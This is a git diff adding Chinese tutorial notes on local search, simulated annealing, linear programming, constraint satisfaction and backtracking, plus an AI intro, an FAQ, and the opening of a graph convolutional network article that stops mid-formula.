+![4.3.4-2](https://cdn.xyxsw.site/4.3.4-2.png)
+
+在这个状态下，成本是 11，比初始状态的成本 17 有所提高。然而，这还不是最佳状态。例如，将左边的医院移到左上角的房子下面，会使成本达到 9，比 11 好。然而，这个版本的爬山算法无法达到这个目标，因为所有的邻居状态都至少和当前状态的成本一样高。从这个意义上说，爬坡算法是短视的，它经常满足于比其他一些解决方案更好的解决方案，但不一定是所有可能的解决方案中最好的。
+
+### 局部和全局最小值和最大值
+
+如上所述，爬山算法可能卡在局部最大值或最小值中。局部最大值是一个比其相邻状态有更高值的状态。而全局最大值是指在状态空间的所有状态中具有最高值的状态。
+
+![4.3.4-3](https://cdn.xyxsw.site/4.3.4-3.png)
+
+相比之下，局部最小值是一个比其相邻状态的值更低的状态。与此相对，全局最小值是指在状态空间中所有状态中具有最低值的状态。
+
+![4.3.4-4](https://cdn.xyxsw.site/4.3.4-4.png)
+
+爬山算法的问题是，它们可能会在局部最小和最大中结束。一旦算法到达一个点，其邻居状态就目标函数而言，比当前状态更糟糕，算法就会停止。特殊类型的局部最大值和最小值包括平坦的局部最大值/最小值 __(flat local maximum/minimum)__，即多个数值相同的状态相邻，形成一个plateau，其邻居状态的数值更差；以及 __shoulder__，邻居状态既可以更好，也可以更差。从 plateau 的中间开始，算法将无法向任何方向推进。
+
+![4.3.4-5](https://cdn.xyxsw.site/4.3.4-5.png)
+
+### 爬山算法的变体
+
+由于爬山算法的局限性，人们想到了多种变体来克服卡在局部最小值和最大值的问题。该算法的所有变体的共同点是，无论采用何种策略，每一种变体都有可能陷入局部最小或最大，并且没有办法继续优化。下面的算法是这样表述的：数值越大越好，但它们也适用于成本函数，其目标是使成本最小化。
+
+- __Steepest-ascent__: 选择值最高的邻居状态。
+- Stochastic: 从值较高的邻居状态中随机选择。这样做，我们选择去任何比我们的值更高的方向。
+- __First-choice__: 选择第一个值较高的邻居状态。
+- __Random-restart__: 进行多次爬山。每次都从一个随机状态开始。比较每次试验的最大值，并在这些最大值中选择一个。
+- __Local Beam Search__: 选择值最高的 k 个邻居状态。这与大多数本地搜索算法不同，它使用多个节点进行搜索，而不是只有一个节点。
+
+虽然局部搜索算法并不总是给出最好的解决方案，但在考虑所有可能的状态在计算上不可行的情况下，它们往往能给出足够好的解决方案。
+
+## 模拟退火算法 (Simulated Annealing)
+
+尽管我们已经看到了可以改进爬山算法的变种，但它们都有一个共同的错误：一旦算法达到局部最大值，它就会停止运行。模拟退火算法允许算法在卡在局部最大值时"摆脱"自己。
+
+退火是指加热金属并让其缓慢冷却的过程，其作用是使金属变硬。这被用来比喻模拟退火算法，该算法开始时温度较高，更有可能做出随机决定，随着温度的降低，它变得不太可能做出随机决定，变得更加"坚定"。这种机制允许算法将其状态改变为比当前状态更差的邻居状态，这就是它如何摆脱局部最大值的原因。以下是模拟退火法的伪代码：
+
+```txt
+function Simulated-Annealing(problem, max):
+    current = initial state of problem
+    for t = 1 to max:
+        T = Temperature(t)
+        neighbor = random neighbor of current
+        ΔE = how much better neighbor is than current
+        if ΔE > 0:
+            current = neighbor
+        with probability e^(ΔE/T) set current = neighbor
+    return current
+```
+
+该算法将一个`problem`和`max`作为输入，`max`是它应该重复的次数。对于每个迭代，`T`是用一个`Temperature`函数来设置的。这个函数在早期迭代中返回一个较高的值 (当`t`较低时)，在后期迭代中返回一个较低的值 (当`t`较高时)。然后，随机选择一个邻居状态，并计算`ΔE`，使其量化邻居状态比当前状态好的程度。如果邻居状态比当前状态好 (`ΔE>0`)，像以前一样，我们将当前状态设置为邻居状态。然而，当邻居状态较差时 (`ΔE<0`)，我们仍然可能将我们的当前状态设置为该邻居状态，并且我们以$e^{ΔE/t}$的概率这样做。这里的意思是，更小的`ΔE`将导致邻居状态被选择的概率降低，而温度`t`越高，邻居状态被选择的概率越高。这意味着邻居状态越差，被选择的可能性就越小，而算法在其过程中越早，就越有可能将一个较差的邻居状态设置为当前状态。这背后的数学原理如下：`e`是一个常数 (大约 2.72)，`ΔE`是负数 (因为这个邻居比当前状态更糟糕)。温度`t`越高，ΔE/`t`就越接近于 0，使概率更接近于 1。
+
+### 旅行商问题 (Traveling Salesman Problem)
+
+在旅行商问题中，任务是连接所有的点，同时选择最短的距离。例如，这就是快递公司需要做的事情：找到从商店到所有客户家的最短路线，然后再返回。
+
+|               优化前           |             优化后                |
+| ------------------------------ | ------------------------------ |
+| ![4.3.4-6](https://cdn.xyxsw.site/4.3.4-6.png) | ![4.3.4-7](https://cdn.xyxsw.site/4.3.4-7.png) |
+
+在这种情况下，邻居状态可以被看作是两个箭头互换位置的状态。计算每一个可能的组合使得这个问题在计算上要求很高 (10 个点给了我们 10! 或者说 3,628,800 条可能的路线)。通过使用模拟退火算法，可以以较低的计算成本找到一个好的解决方案。
+
+## 线性规划 (Linear Programming)
+
+线性规划是一个优化线性方程 (y=ax₁+bx₂+...形式的方程) 的问题系列。
+
+线性规划有以下内容：
+
+- 一个我们想要最小化的成本函数：c₁x₁ + c₂x₂ + ... + cₙxₙ。这里，每个 x 是一个变量，它与一些成本 c 相关联。
+- 一个约束条件，它表示为一个变量的总和，它要么小于或等于一个值 (a₁x₁+a₂x₂+...+aₙxₙ≤b)，要么正好等于这个值 (a₁x₁+a₂x₂+...+aₙxₙ=b)。在这种情况下，x 是一个变量，a 是与之相关的一些资源，而 b 是我们可以为这个问题投入多少资源。
+- 变量的域 (例如，一个变量不能是负数)，形式为 lᵢ≤xᵢ≤uᵢ。
+
+请考虑以下例子：
+
+- 两台机器，X₁和 X₂。X₁的运行成本为 50 美元/小时，X₂的运行成本为 80 美元/小时。我们的目标是使成本最小化。这可以被表述为一个成本函数：50x₁+80x₂。
+- X₁每小时需要 5 个单位的劳动力。X₂每小时需要 2 个单位的劳动力。总共需要花费 20 个单位的劳动力。这可以被形式化为一个约束条件：5x₁ + 2x₂ ≤ 20。
+- X₁每小时生产 10 个单位的产品。X₂每小时生产 12 个单位的产品。公司需要 90 个单位的产出。这是另一个约束条件。从字面上看，它可以被改写为 10x₁+12x₂≥90。然而，约束条件必须是 (a₁x₁+a₂x₂+...+aₙxₙ≤b) 或 (a₁x₁+a₂x₂+...+aₙxₙ=b)。因此，我们乘以 (-1)，得到一个所需形式的等价方程：(-10x₁)+(-12x₂)≤-90。
+
+线性规划的优化算法需要几何学和线性代数的背景知识，而我们并不想假设这些知识。相反，我们可以使用已经存在的算法，如 Simplex 和 Interior-Point。
+
+下面是一个使用 Python 中 scipy 库的线性规划例子：
+
+```python
+import scipy.optimize
+# Objective Function: 50x_1 + 80x_2
+# Constraint 1: 5x_1 + 2x_2 <= 20
+# Constraint 2: -10x_1 + -12x_2 <= -90
+result = scipy.optimize.linprog(
+    [50, 80],  # Cost function: 50x_1 + 80x_2
+    A_ub=[[5, 2], [-10, -12]],  # Coefficients for inequalities
+    b_ub=[20, -90],  # Constraints for inequalities: 20 and -90
+)
+if result.success:
+    print(f"X1: {round(result.x[0], 2)} hours")
+    print(f"X2: {round(result.x[1], 2)} hours")
+else:
+    print("No solution")
+```
+
+## 约束满足(Constraint Satisfaction)
+
+约束满足问题是一类需要在满足某些条件下为变量赋值的问题。
+
+约束条件满足问题具有一下特性:
+
+- 变量集合{x₁，x₂，...，xₙ}。
+- 每个变量域的集合{D₁, D₂, ..., Dₙ}。
+- 一组约束条件 C
+
+数独可以表示为一个约束满足问题，每个空方块是一个变量，域是数字 1-9，而约束是不能彼此相等的方块。
+
+![4.3.4-8](https://cdn.xyxsw.site/4.3.4-8.png)
+
+再考虑一个例子。每个学生 1-4 都在选修 A、B、...、G 中的三门课程。每门课程都需要有考试，可能的考试日是星期一、星期二和星期三。但是，同一个学生不能在同一天有两次考试。在这种情况下，变量是课程，域是天数，约束条件是哪些课程不能在同一天安排考试，因为是同一个学生在考试。这可以直观地显示如下：
+
+![4.3.4-9](https://cdn.xyxsw.site/4.3.4-9.png)
+
+这个问题可以用约束条件来解决，约束条件用图来表示。图中的每个节点是一门课程，如果两门课程不能安排在同一天，则在它们之间画一条边。在这种情况下，该图看起来是这样的：
+
+![4.3.4-10](https://cdn.xyxsw.site/4.3.4-10.png)
+
+关于约束满足问题，还有几个值得了解的术语：
+
+- 硬约束 (Hard Constraint) 是指在一个正确的解决方案中必须满足的约束。
+- 软约束 (Soft Constraint) 是一种约束，表示哪种解决方案比其他解决方案更受欢迎。
+- 一元约束 (Unary Constraint) 是指只涉及一个变量的约束。在我们的例子中，一元约束是指课程 A 在周一不能有考试{A≠周一}。
+- 二元约束 (Binary Constraint) 是一种涉及两个变量的约束。这就是我们在上面的例子中使用的约束类型，表示两个课程不能有相同的值{A ≠ B}。
+
+### 节点一致性 (Node Consistency)
+
+节点一致性是指一个变量域中的所有值都满足该变量的一元约束。
+
+例如，让我们拿两门课程，A 和 B。每门课程的域是{Monday, Tuesday, Wednesday}，约束条件是{A≠Mon，B≠Tue，B≠Mon，A≠B}。现在，A 和 B 都不是一致的，因为现有的约束条件使它们不能取其域中的每一个值。然而，如果我们从 A 的域中移除 Monday，那么它就会有节点一致性。为了实现 B 的节点一致性，我们必须从它的域中删除 Monday 和 Tuesday。
+
+### 弧一致性 (Arc Consistency)
+
+弧一致性是指一个变量域中的所有值都满足该变量的二元约束 (注意，我们现在用"弧"来指代我们以前所说的 "边")。换句话说，要使 X 对 Y 具有弧一致性，就要从 X 的域中移除元素，直到 X 的每个选择都有 Y 的可能选择。
+
+考虑到我们之前的例子，修改后的域：A:{Tuesday, Wednesday}和 B:{Wednesday}。如果 A 与 B 是弧一致的，那么无论 A 的考试被安排在哪一天 (从它的域来看)，B 仍然能够安排考试。A 与 B 是弧一致的吗？如果 A 取值为 Tuesday，那么 B 可以取值为 Wednesday。然而，如果 A 取值为 Wednesday，那么就没有 B 可以取的值 (记住，其中一个约束是 A≠B)。因此，A 与 B 不是弧一致的。为了改变这种情况，我们可以从 A 的域中删除 Wednesday。然后，A 的任何取值 (Tuesday 是唯一的选择) 都会给 B 留下一个取值 (Wednesday)。现在，A 与 B 是弧一致的。让我们看看一个伪代码的算法，使一个变量相对于其他变量是弧一致的 (注意，csp 代表 "约束满足问题")。
+
+```python
+function Revise(csp, X, Y):
+    revised = false
+    for x in X.domain:
+        if no y in Y.domain satisfies constraint for (X,Y):
+            delete x from X.domain
+            revised = true
+    return revised
+```
+
+这个算法从跟踪 X 的域是否有任何变化开始，使用变量 revised，这在我们研究的下一个算法中会很有用。然后，代码对 X 的域中的每一个值进行重复，看看 Y 是否有一个满足约束条件的值。如果是，则什么都不做，如果不是，则从 X 的域中删除这个值。
+
+通常情况下，我们感兴趣的是使整个问题的弧一致，而不仅仅是一个变量相对于另一个变量的一致性。在这种情况下，我们将使用一种叫做 AC-3 的算法，该算法使用 Revise：
+
+```python
+function AC-3(csp):
+    queue = all arcs in csp
+    while queue non-empty:
+        (X, Y) = Dequeue(queue)
+        if Revise(csp, X, Y):
+            if size of X.domain == 0:
+                return false
+            for each Z in X.neighbors - {Y}:
+                Enqueue(queue, (Z,X))
+    return true
+```
+
+该算法将问题中的所有弧添加到一个队列中。每当它考虑一个弧时，它就把它从队列中删除。然后，它运行 Revise 算法，看这个弧是否一致。如果做了修改使其一致，则需要进一步的行动。如果得到的 X 的域是空的，这意味着这个约束满足问题是无法解决的 (因为没有任何 X 可以取的值会让 Y 在约束条件下取任何值)。如果问题在上一步中没有被认为是不可解决的，那么，由于 X 的域被改变了，我们需要看看与 X 相关的所有弧是否仍然一致。也就是说，我们把除了 Y 以外的所有 X 的邻居，把他们和 X 之间的弧添加到队列中。然而，如果 Revise 算法返回 false，意味着域没有被改变，我们只需继续考虑其他弧。
+
+虽然弧一致性的算法可以简化问题，但不一定能解决问题，因为它只考虑了二元约束，而没有考虑多个节点可能的相互连接方式。我们之前的例子中，4个学生中的每个人都在选修3门课程，对其运行AC-3后，仍然没有变化。
+
+我们讲过[搜索](4.3.1搜索.md)问题。一个约束满足问题可以被看作是一个搜索问题：
+
+- 初始状态 (Initial state)：空赋值 (所有变量都没有分配任何数值)。
+- 动作 (Action)：在赋值中加入一个{变量=值}；也就是说，给某个变量一个值。
+- 过渡模型 (Transition model)：显示添加赋值如何改变变量。这没有什么深度：过渡模型返回包括最新动作后的赋值的状态。
+- 目标测试 (Goal test)：检查所有变量是否被赋值，所有约束条件是否得到满足。
+- 路径成本函数 (Path cost function)：所有路径的成本都是一样的。正如我们前面提到的，与典型的搜索问题相比，优化问题关心的是解决方案，而不是通往解决方案的路线。
+
+然而，把约束满足问题作为一个普通的搜索问题来处理，是非常低效的。相反，我们可以利用约束满足问题的结构来更有效地解决它。
+
+### 回溯搜索 (Backtracking Search)
+
+回溯搜索是一种考虑约束满足搜索问题结构的搜索算法。一般来说，它是一个递归函数，只要值满足约束，它就会尝试继续赋值。如果违反了约束，它将尝试不同的赋值。让我们看看它的伪代码：
+
+```python
+function Backtrack(assignment, csp):
+    if assignment complete:
+        return assignment
+    var = Select-Unassigned-Var(assignment, csp)
+    for value in Domain-Values(var, assignment, csp):
+        if value consistent with assignment:
+            add {var = value} to assignment
+            result = Backtrack(assignment, csp)
+            if result ≠ failure:
+                return result
+            remove {var = value} from assignment
+    return failure
+```
+
+换句话说，如果当前赋值完成，则该算法返回当前赋值。这意味着，如果完成了算法，它将不会执行任何额外的操作，它只会返回已成立的赋值。如果赋值不完整，算法会选择任何尚未赋值的变量。然后，算法尝试为变量赋值，并对结果赋值再次运行回溯算法（递归）。然后，它检查结果值。如果不是失败，则表示赋值已完成，并且应返回此赋值。如果结果值失败，则删除最近的赋值，并尝试新的可能值，重复相同的过程。如果域中所有可能的值都返回失败，这意味着我们需要回溯。也就是说，问题出在之前的一些作业上。如果这种情况发生在我们开始使用的变量上，那么这意味着没有解决方案满足约束。
+
+考虑以下行动方案：
+
+![4.3.4-11](https://cdn.xyxsw.site/4.3.4-11.png)
+
+我们从空赋值开始。然后，我们选择变量 A，并给它赋值`Mon`。然后，使用这个赋值，我们再次运行算法。既然 A 已经有了一个赋值，算法将考虑 B，并将`Mon`赋值给它。此赋值返回`false`，因此算法将尝试在`Tue`为 B 赋值，而不是在给定上一个赋值的情况下为 C 赋值。这个新的赋值满足约束条件，在给定这个赋值的情况下，下一步将考虑一个新的变量。例如，如果将`Tue`或`Wed`也赋值给 B 会导致失败，那么算法将回溯并返回到考虑 A，为其分配另一个值，即`Tue`。如果`Tue`和`Wed`也失败了，那么这意味着我们已经尝试了所有可能的赋值，该问题是无法解决的。
+
+在源代码部分，您可以从头开始实现的回溯算法。然而，这种算法被广泛使用，因此，多个库已经包含了它的实现。
+
+## 推理 (Inference)
+
+尽管回溯搜索比简单搜索更有效，但它仍然需要大量的算力。另一方面，满足弧一致性需要的算力较低。通过将回溯搜索与推理交织在一起（满足弧一致性），我们可以得到一种更有效的算法。该算法被称为“保持弧一致性”__(Maintaining Arc-Consistency)__ 算法。该算法将在每次新的回溯搜索分配之后满足弧一致性。具体来说，在我们对 X 进行新的赋值后，我们将调用`AC-3`算法，并从所有弧 (Y，X) 的队列开始，其中 Y 是 X 的邻居 (而不是问题中所有弧的队列)。以下是一个经过修订的 Backtrack 算法，该算法保持了弧的一致性。
+
+```python
+function Backtrack(assignment, csp):
+    if assignment complete:
+        return assignment
+    var = Select-Unassigned-Var(assignment, csp)
+    for value in Domain-Values(var, assignment, csp):
+        if value consistent with assignment:
+            add {var = value} to assignment            # new here
+            inferences = Inference(assignment, csp)    # new here
+            if inferences ≠ failure:
+                add inferences to assignment
+            result = Backtrack(assignment, csp)
+            if result ≠ failure:
+                return result
+            remove {var = value} and inferences from assignment    # new here
+    return failure
+```
+
+Inference 函数运行 AC-3 算法，如前所述。它的输出是通过满足弧一致性可以做出的所有推断。从字面上看，这些是可以从以前的赋值和约束满足问题的结构中推导出来的新赋值。
+
+还有其他方法可以提高算法的效率。到目前为止，我们随机选择了一个未分配的变量。然而，有些选择比其他选择更有可能更快地找到解决方案。这需要使用启发式方法。启发式是一条经验法则，这意味着，通常情况下，它会比遵循随机的方法带来更好的结果，但不能保证总是更优。
+
+__最小剩余值 (Minimum Remaining Values(MRV))__ 就是这样一种启发式方法。这里的想法是，如果一个变量的域被推理限制了，现在它只剩下一个值 (甚至是两个值)，那么通过进行这种赋值，我们将减少以后可能需要进行的回溯次数。也就是说，我们迟早要做这个赋值，因为它是从满足弧一致性中推断出来的。如果这项任务失败了，最好尽快发现，避免以后的回溯。
+
+![4.3.4-12](https://cdn.xyxsw.site/4.3.4-12.png)
+
+例如，在给定当前赋值的情况下缩小变量的域后，使用 MRV 启发式，我们接下来将选择变量 C，并以 Wed 为其赋值。
+
+__度 (Degree)__ 启发式依赖于变量的度，其中度是指将一个变量连接到其他变量的弧数。通过一次赋值选择度最高的变量，我们约束了多个其他变量，从而加快了算法的进程。
+
+![4.3.4-13](https://cdn.xyxsw.site/4.3.4-13.png)
+
+例如，上面所有的变量都有相同大小的域。因此，我们应该选择一个度最高的域，它将是变量 E。
+
+这两种启发式方法并不总是适用的。例如，当多个变量在其域中具有相同的最小值时，或者当多个变数具有相同的最高度时。
+
+另一种提高算法效率的方法是，当我们从变量的域中选择一个值时，使用另一种启发式方法。在这里，我们使用 __最小约束值 (Least Constraining Values)__ 启发式，在这里我们选择将约束最少其他变量的值。这里的想法是，在度启发式中，我们希望使用更可能约束其他变量的变量，而在这里，我们希望这个变量对其他变量的约束最少。也就是说，我们希望找到可能是最大潜在麻烦源的变量 (度最高的变量)，然后使其尽可能不麻烦 (为其赋值约束其他变量最少的值)。
+
+![4.3.4-14](https://cdn.xyxsw.site/4.3.4-14.png)
+
+例如，让我们考虑变量 C。如果我们将`Tue`分配给它，我们将对所有 B、E 和 F 施加约束。然而，如果我们选择`Wed`，我们将只对 B 和 E 施加约束。因此，选择`Tue`可能更好。
+
+总之，优化问题可以用多种方式来表述。在这，我们考虑了局部搜索、线性规划和约束满足。
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门.md
new file mode 100644
index 0000000..241e0c3
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门.md
@@ -0,0 +1,22 @@
+# 人工智能导论及机器学习入门
+
+人工智能（Artificial Intelligence, AI）是机器，特别是计算机系统对人类智能过程的模拟。人工智能是一个愿景，目标就是让机器像我们人类一样思考与行动，能够代替我们人类去做各种各样的工作。人工智能研究的范围非常广，包括演绎、推理和解决问题、知识表示、学习、运动和控制、数据挖掘等众多领域。
+
+## 人工智能、机器学习与深度学习关系
+
+人工智能是一个宏大的愿景，目标是让机器像我们人类一样思考和行动，既包括增强我们人类脑力也包括增强我们体力的研究领域。而学习只是实现人工智能的手段之一，并且，只是增强我们人类脑力的方法之一。所以，人工智能包含机器学习。机器学习又包含了深度学习，他们三者之间的关系见下图。
+
+![](https://cdn.xyxsw.site/AMU7bSgh4o8tEIxk82icvtbDn0c.png)
+
+## 如何学习本节内容
+
+作者深知学习人工智能时面临许多繁碎数学知识，复杂数学公式的痛苦，因此，本节内容重在讲解核心概念和算法，略去了复杂的数学推导，尽可能以直觉的方式去理解，本文的数学知识，高中生足以掌握。阅读本节内容不需要人工智能基础，你可以直接从本节入门 AI。本节内容的算法、项目实现将使用 python 实现，需要掌握一定的 python 基础语法。当然如果你急于了解 AI，却又不会 python，没有关系，你可以选择跳过其中的编程部分，着眼于其中的概念、算法，程序语言是算法实现的工具，并非学习算法的必须品。
+
+## 学习建议
+
+本节内容是作者根据[哈佛的 CS50AI 导论](https://cs50.harvard.edu/ai/2020/)以及 [Andrew Ng 的机器学习专项课程](https://www.coursera.org/specializations/machine-learning-introduction)简化编写，当然你可以直接学习这两门课程。本节内容的总学习时间应该是二到三个月，如果你在某个知识点上卡住了，你也许需要反复阅读讲义，必要时向身边人求助。
+
+## 补充材料
+
+![4.3-0](https://cdn.xyxsw.site/4.3-0.jpg)
+人工智能现代方法（第四版）
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ：常见问题.md b/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ：常见问题.md
new file mode 100644
index 0000000..cb04274
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ：常见问题.md
@@ -0,0 +1,57 @@
+# FAQ：常见问题
+
+## 我是非计算机专业的，感觉 AI 很火，可以看这篇内容吗
+
+如果你不打算做相关研究的话，我觉得你最先应该考虑的是熟练掌握使用 AI 工具，本章内容更偏向于完善 AI 方面的知识体系架构
+
+## 我对AI/CV/NLP/blabla研究方向很感兴趣可以看这篇内容吗？
+
+目前的本章节的内容的定位仍在引导大家有更广阔的视野，在引导的同时给大家正确的学习/思考模式。
+
+因此如果你想学某个知识体系，可以参考本章内容的路线，但是若你有足够强大的能力可以直接应对国外课程体系的困难，那么我非常推荐你去直接看英文内容
+
+因为我们在降低门槛的时候也一定程度上让各位损失了一定的训练，在概括的过程中，信息量被稀释了，抽象地描述也许更能让你 get 到一些思想性的内容
+
+## 我数学不好可以学吗
+
+可以。我将在教程的脉络中引入数学的相关内容，帮助你正确认识数学和 AI 技术的相关性。
+
+并且我希望你阅读这些文章
+
+- [数学不好可以学机器学习吗](https://machinelearningmastery.com/what-if-im-not-good-at-mathematics/)
+- [没有数学专业背景和理解机器学习算法的 5 种技巧](http://machinelearningmastery.com/techniques-to-understand-machine-learning-algorithms-without-the-background-in-mathematics/)
+- [我是如何学习机器学习的？](https://www.quora.com/Machine-Learning/How-do-I-learn-machine-learning-1)
+
+## 很多东西学校都没学
+
+如果你完全依赖学校的进度，你可能一直都会有认为学校应该教但你没学到的东西
+
+同时，这是一门前沿学科，学校学习的多数内容并不能达到掌握相关知识的要求。
+
+你应该更多地依赖自己而不是学校
+
+## [如果不是相关领域可以找到这个领域工作吗](https://www.quora.com/How-do-I-get-a-job-in-Machine-Learning-as-a-software-programmer-who-self-studies-Machine-Learning-but-never-has-a-chance-to-use-it-at-work)
+
+> “我正在为团队招聘专家，但你的 MOOC 并没有给你带来工作学习机会。我大部分机器学习方向的硕士也并不会得到机会，因为他们（与大多数工作）上过 MOOC 的人一样）并没有深入地去理解。他们都无法帮助我的团队解决问题。”Ross C. Taylor
+
+## 人工智能，深度学习，机器学习，数据分析，我该如何区分
+
+人工智能包括机器学习
+
+机器学习包括深度学习
+
+![](https://cdn.xyxsw.site/boxcnBP4QHAJnXrNfOiK8hp6LIc.png)
+
+[同时向你推荐这个 Data Analytics，Data Analysis，数据挖掘，数据科学，机器学习，大数据的区别是什么？](https://www.quora.com/What-is-the-difference-between-Data-Analytics-Data-Analysis-Data-Mining-Data-Science-Machine-Learning-and-Big-Data-1)
+
+![](https://cdn.xyxsw.site/boxcnxPsUwwhcCC0zBerZ2s88ld.png)
+
+## 我没有任何相关概念
+
+尝试阅读以下内容
+
+- [形象的机器学习简介](http://www.r2d3.us/visual-intro-to-machine-learning-part-1/)
+- [菜鸟的机器学习基础](https://www.analyticsvidhya.com/blog/2015/06/machine-learning-basics/)
+- [你如何向非计算机专业的人来解释机器学习与数据挖掘？](https://www.quora.com/How-do-you-explain-Machine-Learning-and-Data-Mining-to-non-Computer-Science-people)
+- [在罩子下的机器学习，博文简单明了地介绍了机器学习的原理](https://georgemdallas.wordpress.com/2013/06/11/big-data-data-mining-and-machine-learning-under-the-hood/)
+- [机器学习是什么？它是如何工作的呢？](https://www.youtube.com/watch?v=elojMnjn4kk&list=PL5-da3qGB5ICeMbQuqbbCOQWcS6OYBr5A&index=1)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述（intro&GCN）.md b/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述（intro&GCN）.md
new file mode 100644
index 0000000..d9c441e
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述（intro&GCN）.md
@@ -0,0 +1,266 @@
+# 图网络略述（intro&GCN）
+
+> author：廖总
+
+其实开始冲图神经网络也已经有一段时间了，从半年前阅览《Relational inductive biases, deep learning, and graph networks》一文，对图网络有了一定的了解，到现在已经过去半年了。然而这半年中我一直在摸鱼，就算偶尔复习图神经网络的方法，也一直在复习相同的工作。如今有幸受实验室隔座的兄弟邀请参与一个科研项目。比较尴尬的是，我除了自诩知晓图网络以外，对实际的操作与应用一无所知。我遂写下这篇文章，来昭示自己正式开始图网络的学习，并且尝试记录和融汇已知的知识点，不在浪费时间于重复的工作上。
+
+首先，图网络是为什么产生的呢，通常，我们简略的称之为，方便表达结构化的知识，处理结构化的数据。这里的结构其实跟数据库及数据结构中描述的结构是相似的，即一种信息之间关联的结构，以及知识之间关联的结构。图拥有这样的特点，能通过节点来对实体进行描述，并用边描述实体之间的关系，与此同时还有着隐含信息的储存和全局信息的存在，于是构成了一个新颖且复杂的神经网络结构。
+
+在周志华的机器学习一书半监督学习章节中，有对基本的图学习策略进行基本的描述，详见我为了应付课程考试整理的[图半监督学习](http://blog.cyasylum.top/index.php/2020/07/05/%E5%9B%BE%E5%8D%8A%E7%9B%91%E7%9D%A3%E5%AD%A6%E4%B9%A0/)。其基本思路是这样的，通过”样本距离度量“刻画获取样本之间的联系，将样本嵌入到“图”，即样本即其关系的集合中。后通过图将半监督学习中有标记样本的标签对未标记样本进行传递，从而获取未标记样本的属性，进行学习。
+
+如此，便定下来图网络的基本思路，即通过*信息在图上的传递*，迭代学习知识。有了这样的基础，我们便可以开始对图网络进行讨论了。
+
+接下来，我们从最基础的部分来讲讲，信息是如何在图上进行传播的。
+
+## 消息传递
+
+那么，消息是什么呢？在大多数时候，我们将消息理解为节点（但其实在特定场合，边或者全局信息都是可以或者需要考虑的），即“实体”包含的，要传递的信息。对于一个结构相对复杂的节点而言，假设其拥有 n 个属性，我们便用一个 n 维的向量（或是其他什么）$\mathbf{x}$表示节点中储存的信息。然后，节点上的信息要怎么传递呢？
+
+答案必然是通过节点之间的连接。
+
+在离散数学中，我们使用邻接矩阵来刻画图上所有节点之间的联系，即 Adjacency Matrix，记作$\mathbf{A}$。在不考虑边权重的情况下，我们将存在节点$x_{i},x_{j}$之间的联系表示为$A_{ij}=1$，在存在权重的情况下，我们将$A_{ij}$的值记作两节点之间边的权重。值得注意的是，$\mathbf{A}$对角线上的值，即节点之间自连接的系数，在不做考虑自连接时都被记作 $0$ 。
+
+另外，我们特殊定义节点的度为该点所有连接权重之和，即$D_i=\sum_{j=0}^n A_{ij} $，使用对角矩阵$\mathbf{D}=diag(D_1,D_2,\cdots,D_n)$进行统一描述。
+
+如此，我们便通过了两个矩阵刻画了一张图上所有节点之间的传递关系。为了方便计算，以及因为种种特性，一张图最终的传递特性，被描述成了拉普拉斯矩阵$\mathbf{L}=\mathbf{D}-\mathbf{A}$。
+
+我们通过拉普拉斯矩阵 $L$ 来考虑图上的消息传递特性。
+
+同时，我们可以理解为，拉普拉斯矩阵描述了图的结构。
+
+## 归一化拉普拉斯矩阵
+
+为了方便拉普拉斯矩阵在机器学习等众多需要迭代求解问题中的实际使用，我们要求对拉普拉斯矩阵进行归一化操作，从而避免在多次传递后导致的梯度爆炸和梯度消失。我们需要令其对角线上元素统一等于 1。
+
+我们已知的是，主对角线上的元素只会同
+$D$矩阵有关，因此，我们引入了
+$\mathbf{D}^{-\tfrac{1}{2}}$ 作为归一化算子，令归一化拉普拉斯矩阵为
+
+$$
+\mathbf{L}^{sym}
+=\mathbf{D}^{-\frac{1}{2}}
+\mathbf{L}\mathbf{D}^{-\frac{1}{2}}
+=\mathbf{I}-\mathbf{D}^{-\frac{1}{2}}
+\mathbf{A}\mathbf{D}^{-\frac{1}{2}}
+$$
+
+$$
+L_{ij}^{sym}=
+\begin{cases}
+1 \quad\quad\quad\quad\quad\quad\quad\enspace\thinspace \left ( i=j\right ) \cup \left ( deg(v_i)\ne0 \right ) \\
+-\frac{1}{\sqrt{deg(v_i)deg(v_j)}} \qquad \left ( i\ne j \right ) \cup \left ( v_i adj v_j \right ) \\
+0 \quad\quad\quad\quad\quad\quad\quad\;\;\; else.
+\end{cases}
+$$
+
+现在，我们可以尝试用$\mathbf{L}$对图进行表示了。
+
+另外还有个*随机游走归一化拉普拉斯矩阵*
+$$
+\mathbf{L}^{sym}=\mathbf{D}^{-1}\mathbf{L}=\mathbf{I}-\mathbf{D}^{-1}\mathbf{A}
+$$
+
+，不过我还不熟，暂时不管了。
+
+## 图的频域表示
+
+其实挺意外的，早在去年的这个时候，我也考虑过这个问题。对图像的矩阵进行奇异值分解，通过切除部分奇异值，我们可以对图像中的低频和高频信息进行定量的剪切，使得减少储存信息的同时不丢失大部分画质。这样的特性是不是同信号的频域分析，即傅里叶变换有着相似之处。当时的我寻遍了全网，并没有得到什么结果。而如今，我在做图的谱分析。
+
+为了直观地对描述信号传播的图进行直观的“卷积滤波（需要注意的是，这里的卷积就不是图像意义上的卷积了，而是信号意义的卷积。但是在实际运用中图的卷积表示的也是信号在相邻图节点上的传播，这又与图像的卷积有着异曲同工之妙，那么新的问题来了，信号卷积和图像卷积是否也存在着什么物理层面上的联系？）”我们通过特征分解，获取图的“频谱”，从这边开始，便是 Spectral Graph Convolution 的思想了。
+
+我们将 L 矩阵进行特征分解，有$\mathbf{L}=\mathbf{U}\boldsymbol{\Lambda}\mathbf{U}^\mathsf{T}$,其中特征值描述的是图像的频谱强度，而特征向量描述了分解的基底，即频率，对应频谱分析中的$e^{-j\omega t}$。
+
+于是，我们考虑滤波和滤波器，我们设计$g\theta=diag(\theta)$，有滤波器改变了基底上信号的强度，即有$g\theta(\Lambda)$为特征值的函数。我们有$g\theta$在图$\mathbf{L}$上对输入信号$x$的卷积等于$g\theta$、$x$在频域相乘：
+$g\theta\star
